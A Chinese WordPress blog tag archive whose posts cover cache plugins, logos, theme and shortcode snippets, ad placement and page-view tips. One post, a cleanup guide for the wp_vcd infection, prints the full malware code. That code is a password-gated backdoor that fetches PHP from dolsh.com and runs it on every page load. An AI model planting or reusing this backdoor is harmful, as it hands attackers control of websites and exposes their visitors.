标签归档:wordpress

Wordpress Cache Plugins

WordPress可以不用缓存插件,虚拟主机自带缓存

前段时间一直在折腾缓存插件,宁乐熙博客一直使用的缓存插件是 WP Fastest Cache ,之后又换到 WP Super Cache ,还用过破解版的 WP Rocket,但最后发现,即使停用了缓存插件,打开网站依然很快速。

虽然使用缓存插件可以将文章、页面生成静态页面,速度很快,美国洛杉矶的虚拟主机在打开缓存后的页面会很迅速,但对于一个日ip只有百来个的博客来说,额外的缓存插件有点鸡肋。

本博客依然使用的美国老牌虚拟主机老鹰主机,从2013年开始已经用了这么多年了,前段时间发邮件给老鹰主机,要求换到香港虚拟主机,以为直链大陆,其实要绕道美国之后才到大陆,速度竟然比美国洛杉矶还要慢,于是果断要求换回了洛杉矶。

洛杉矶线路对三网比较友好,ping值在200ms左右,本博客还套了cloudflare,于是ping之后平均在160ms左右,所以各位访客老爷们,是不是打开本博客速度不会很慢。

缓存插件已经全部停用,现在许多的虚拟主机都会自带缓存,包括老鹰主机,还有的新开主机会在Wordpress后台自动安装 LiteSpeed Cache 插件,这个可以自由删除掉。

其实,对于没有备案的博客没有必要追求极致的速度,只要博客稳定不会隔三差五的宕机,在2s内打开,这都属于一个不错的速度,如果博客内有优质的内容,即使打开10s,相信也会有人等待,本博客一个友情链接:来博客栈,有一些很好的内容,可惜博主不维护,打开速度近10s,但我仍然愿意去等。

综上所述,对于访问量小的博客,缓存插件没有必要安装,等到流量大了再安装也不迟,到时候虚拟主机也满足不了需求。

老鹰主机的推广链接,一年仅需149元

本博客使用的插件只有简单几个,如果太多数据库会很臃肿,目前也没有好的快捷方法删除数据库残留,因为一些主题、插件设置会写到数据库内,即便删除也无法删除数据库残留。

插件如下:

  1. DX-Seo 这个seo插件,作者大侠已经10年没更新,人也无影无踪,但这个插件对中文seo太友好太强大,兼容Wordpress 6.0版本。
  2. LuckyWP Table of Contents 为文章创建一个目录。
  3. Stop Generating Unnecessary Thumbnails 停止生成各种缩略图。Wordpress媒体会根据主题要求生成各种大小的缩略图占用内存,有了它,只需要一个原图即可。
  4. 经典编辑器 古腾堡很友好,但不如经典编辑器好,有时候我会禁用,有时候会开启。
  5. Code Snippets 代码张贴。因为本站使用的免费主题Kadence更新太快,使用这个代码插件的唯一一个作用就是贴入了头像缓存代码,其实安装wp-china-yes一样解决。

Dscf7259fushan 1

wordpress网站logo从svg格式到jpg

svg格式的好处很多,虽然是一张「图片」其实不是图片,和网站代码融为一体了,高清,可以随着浏览器字体的变化而变化,前提说的是svg是文字logo,但不好的是容量有点大,似乎会让网站头部加载变得缓慢,所以就索性又换回了图片格式。

svg弊大于利,不考虑用户体验就用svg,如果极度迷恋seo,就要换成图片格式了。

有关svg的介绍还是问百度吧:svg是啥?

图片jpg格式只有250*60,是一张很小的图片,因为主题限制,只能上传这个容量的logo,如果扩大尺寸的话,主题不支持缩放,这就让原本模糊的图片变的更加模糊了,这可怎么办?

比如下面是svg格式的:

这是目前网站采用的一个jpg格式的:

模糊的感觉像近视眼了。

那么直接去掉logo,直接用网站标题和描述代替不就解决了吗?也是可以的,但网站很平淡,没有颜色,中文字体黏在一起很不美观。

如下图:

那么,如果是英文的直接用标题是很可以的。如下图:

保留标题和描述的好处就是,在百度搜索关键字的时候,会优先考虑到网站名字,因为关键字包含在名字内,并且在头部,利于seo。不过放眼看去,很多优化好的博客也都采用的是logo,而不是直接文字标题。

那么既要seo好,还要有自己的风格,那只能选择模糊过的图片jpg作为logo了,因为我电脑上没有安装制作矢量图的软件,所以直接就用ps朴素的制作了。

本文结束。

Snip20220328 35

catch box主题搜索结果显示特色图像 featured images now showing in search results

参考官方论坛答疑

catch box 主题搜索结果是摘要,不显示特色图片,去了论坛,有答案。如下:

/wp-content/themes/catch-box/content.php 第38行 左右

`if ( is_search() ) : // Only display Excerpts for Search ?>
<div class=”entry-summary”>
<?php the_excerpt(); ?>
</div><!– .entry-summary –>`

换成即可:

if ( is_search() ) : // Only display Excerpts for Search ?>
            <div class="entry-summary">
             <?php if ( has_post_thumbnail() ):?>
               		<a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'catch-box' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark">
						<?php the_post_thumbnail('featured-slider'); ?>
                   	</a>
                <?php endif; ?>
                <?php the_excerpt(); ?>
            </div><!-- .entry-summary -->

wordpress部分内容登录可见纯代码分享不用插件

有些会员网站,会把会员内容掩藏起来,可以设置称恢复可见、输入密码可见,也可以设置成登录用户可见,那么部分内容登录可见的纯代码是什么呢?以前路兜博客分享过插件,不过6年没有更新了。
具体实现步骤如下:
1、将以下代码添加到Three主题的 functions.php 文件最后一个?>的前面。

//部分内容登录可见
function login_to_read($atts, $content=null) {
extract(shortcode_atts(array("notice" => '
温馨提示:此处内容需要登录后才能查看!
'), $atts));
if ( is_user_logged_in() && !is_null( $content ) && !is_feed() )
return $content;
return $notice;
}
add_shortcode('vip', 'login_to_read');

PS:将上面代码中的login.php替换为站点的登录地址,以方便用户快速登录。

2、在编辑文章的时候,只需要切换到文本模式,在需要隐藏的部分内容中前后加上短代码即可。


[vip]我是被隐藏的内容,样式一(默认样式)[/vip]


[vip notice=”登录后才显示哟”]我是被隐藏的内容,样式二(自定义回复信息)[/vip]


其中样式一的提示信息就是第一步中的“温馨提示:此处内容需要登录后才能查看!”,样式二的提示信息就是“登录后才显示哟”,具体选用哪个样式由大家自己决定了。


效果图如下:
登录前后效果图


至此,WordPress文章部分内容登录后可见功能已经在Three主题实现,其他主题的实现方法也是一样的。
PS:这个功能建议不要轻易开启,因为要注册登录后才可以看到,除非分享的文章或资源很吸引人,要不然很多人都会直接关闭走人的,切记。


PS:如想实现WordPress文章部分内容输入密码可见的,请移步《Three主题实现WordPress文章部分内容输入密码后可见》。

PS:如想实现WordPress文章部分内容评论/回复可见的,请移步《如何实现WordPress文章部分内容评论/回复后可见》。

wordpress被植入广告跳转deloplen.com的终极解决方法

前段时间,折腾主题,就在外国wordpress主题网站下载了一些需要收费的,免费主题,不料,感染了恶意代码,恶意代码就是一些广告,植入在你的主题:functions.php里开头部分,当访客访问你的网站,会弹窗出来一个广告页面跳转到这个网址:deloplen.com 起先我以为是插件的问题,中文搜索,并没有找到源头,于是就谷歌翻译,上外网找到了答案,深受其害的不止我一个人。

通常被感染的主题的functions.php安装如下代码:这个时候ctrl+f 搜索关键字:“ wp_vcd”或“ wp-tmp”删除掉这段代码,保存。

惡意代碼如下:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
    {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action'])
        {
    case 'change_domain';
    if (isset($_REQUEST['newdomain']))
        {
        if (!empty($_REQUEST['newdomain']))
            {
            if ($file = @file_get_contents(__FILE__))
                {
                if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
                    {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                    }
                }
            }
        }

    break;

default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

die("");
}

if (!function_exists('theme_temp_setup'))
    {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
        {
        if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
            {
            function theme_temp_setup($phpCode)
                {
                $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                fclose($handle);
                include $tmpfname;

                unlink($tmpfname);
                return get_defined_vars();
                }

            extract(theme_temp_setup($tmpcontent));
            }
        }
    }

?>

如果你再刷新,这段代码仍在这里面,这说明,wordpress程序其他文件也被感染了,最好的方法就是:更新更新更新,点仪盘表更新,覆盖旧文件。

终极解决方案,亲测有效:无需进行大量此类更改,只需执行以下两个步骤>>

1>仪表板>更新>“立即重新安装”
这将重新安装WordPress的最新版本,覆盖受感染的wp核心文件。

2>现在,在编辑器中打开theme functions.php文件,并删除恶意代码段,(活动主题中,编辑您的functions.php文件,并删除恶意软件插入的所有其他代码。您可以搜索“ wp_vcd”或“ wp-tmp”字样以找到代码。然后单击保存。)

全部做完!这次它将接受文件更改,以从functions.php文件中删除受感染的代码。

有用的链接:https://stackoverflow.com/questions/46219263/php-code-in-functions-php-of-all-wordpress-websites-on-my-shared-hosting

检测主题是否有病毒的网站:知乎汇总

最后告诉大家,千万不要尝试去下载来路不明的主题了,谁知道里面被植入了什么病毒插件啥的。

WordPress 在文章开头结尾插入广告(非插件简单方法)

其实很简单,跟直接在主题文件 single.php 里面添加差不多,不同的是这里说的方法是用 WordPress 自带的 add_filter 函数实现,直接在主题文件 functions.php 添加,也方便以后换主题时不用研究主题结构直接 CP 到新主题的 functions.php 即可。

那么下面啰嗦一下方法,虽然非常简单,但还是需要有一点基础知识,因为我遇到过连文本编辑器都不会用的朋友。

打开主题的 functions.php,插入以下代码:(注意要放在<?php … ?>里面)

function insertAD($content) {
	if(is_single()) {
		$html = '<p class="top-ad">广告代码/图片广告链接</p>';//文章开头广告
		$content = $html . $content;
		$content.= '<p class="bottom-ad">广告代码2/图片广告链接</p>';//文章结尾广告
	}
	return $content;
}
add_filter ('the_content', 'insertAD');

将文字部分改为广告代码或者图片链接即可!本文转载于:https://zww.me/archives/25167

Wordpresshuagdi

移除wordpress谷歌广告Google Adsense的黄色底部背景

本文转载于:https://www.pkstep.com/archives/4416

因为每次换worddpress主题时,谷歌广告的底部就会出现黄色,一般博客背景都是白色的,所以黄色显得他别的突兀,好像让人不知道这是广告似的。所以只需要改3个字母就ok了。如下:

廣告背景黃色塊1


WordPress廣告在播放或讀取載入時會有淡黃色的背景區塊,實在相當的醜,也提醒用戶那邊有廣告了(咦?!),看教學,教你怎麼把它移除掉!


▼前往後台的「外觀」→「主題編輯器」,在樣式表「style.css」中尋找「ins」的將background後面的代碼(可能是#fff9c0 或#fff486 ,改成你的背景顏色(白色為#ffffff),更多顏色代碼查詢

廣告背景黃色塊2
廣告背景黃色塊3
Xiezuo

9个增加博客文章浏览量的技巧

昨天我对页面浏览统计数据的简短研究表明,每次访问博客时,游客都会访问大约1.7页。

当然了,让访客浏览更多的页面是作为站长或者博主来说是梦寐以求的事情,因为浏览的更多,说明读者越在乎,越在乎就说明你提供的内容是有价值的,如果有价值则会带来潜在的收益,比如你挂了Google adsense,会从中获得收益,所以每个博主都希望访客尽可能多的浏览页面。

话虽如此 – 如果您有想增加普通游客浏览的页数,以下是一些可能有用的建议:

1.增加显示相关文章 – 博主们吸引读者浏览他们博客上多个文章的一种常见做法是在文章末尾显示相关文章。您会注意到我目前在每个页面的末尾都有一个包含2-5个帖子的列表,这是hueman主题自带的相关文章工具,利用分类来区别每一篇文章来匹配相似的文章。

2.文章内的互联 – 这里说的帖子内互联的意思就是文章中插入其他相似的文章,wordpress有个强大的功能就是可以把其他文章地址贴进去,会形成一个页面式的小帖子。如果您正在写一篇文章,提到类似于您所写的内容,只需在文章中链接到您之前的帖子。如下面:

3.突出显示博客热点中的关键文章和类别 – 我经常提到这个博客上最热门的帖子是我的前三个菜单中突出显示的帖子。具体来说,本页面顶部左上方的框始终位于我最常阅读的帖子统计信息的顶部。根据您博客的目标 – 您可能希望通过广告或联盟计划填充您博客的热点 – 或者您可能希望突出显示您博客的核心帖子,这些帖子会将读者吸引到您的博客的内容中(从而增加页面浏览量)。突出显示您的类别页面也是另一种同样有用的技术,可以鼓励您的读者在同一主题上找到更多帖子。明确命名您的类别也很有用。

4.编辑页面 – 扩展先前关于突出显示关键帖子的想法,您可能希望在这些位置使用帖子,这些帖子不仅可以将读者引导到博客上的一个帖子而且可以浏览到很多帖子。

5.系列文章 – 虽然你需要在一段时间内写一系列文章时要小心,但它们是让读者回来的好方法,一旦完成它们就可以让你在博客上浏览多个页面。比如宁乐熙博客原创小说《》

6.首页摘录 – 虽然我个人喜欢在首页头部使用摘录,但这并不能增大我的网站浏览量(虽然我觉得它有一个附带好处)。以这种方式亲自使用摘录更多的是保持我的首页可管理并突出显示首页上的多个文章。也就是说,如果一个读者来到我的博客,不仅看到最后一篇文章,而且看到第二篇文章的标题,甚至可能是第三篇文章,那么他们更有可能探索的不仅仅是你写的最后一件事。

7.搜索功能 –大多数博客博客平台都能够在您的博客上使用搜索功能,访客可以在您的博客中搜索关键字。此功能可以帮助您的读者找到您网站上的其他帖子,从而增加了多页面浏览访问的可能性。

8.建立一个互动论坛 – 让读者一天多次回到你的博客的一种方法是建立一个人们想与之互动的博客。

9.内容质量 – 这应该不言而喻,但需要加强。显然,如果你写出高质量的内容,你的读者会想要更多相同的东西。

毫无疑问,其他技术可以增加页面浏览量。我听说博客们每天都会写文章发布,以鼓励读者每天多次访问作为一种这样的技巧 。

以上转载外网:https://problogger.com/11-tips-to-increase-page-views-stats-on-your-blog/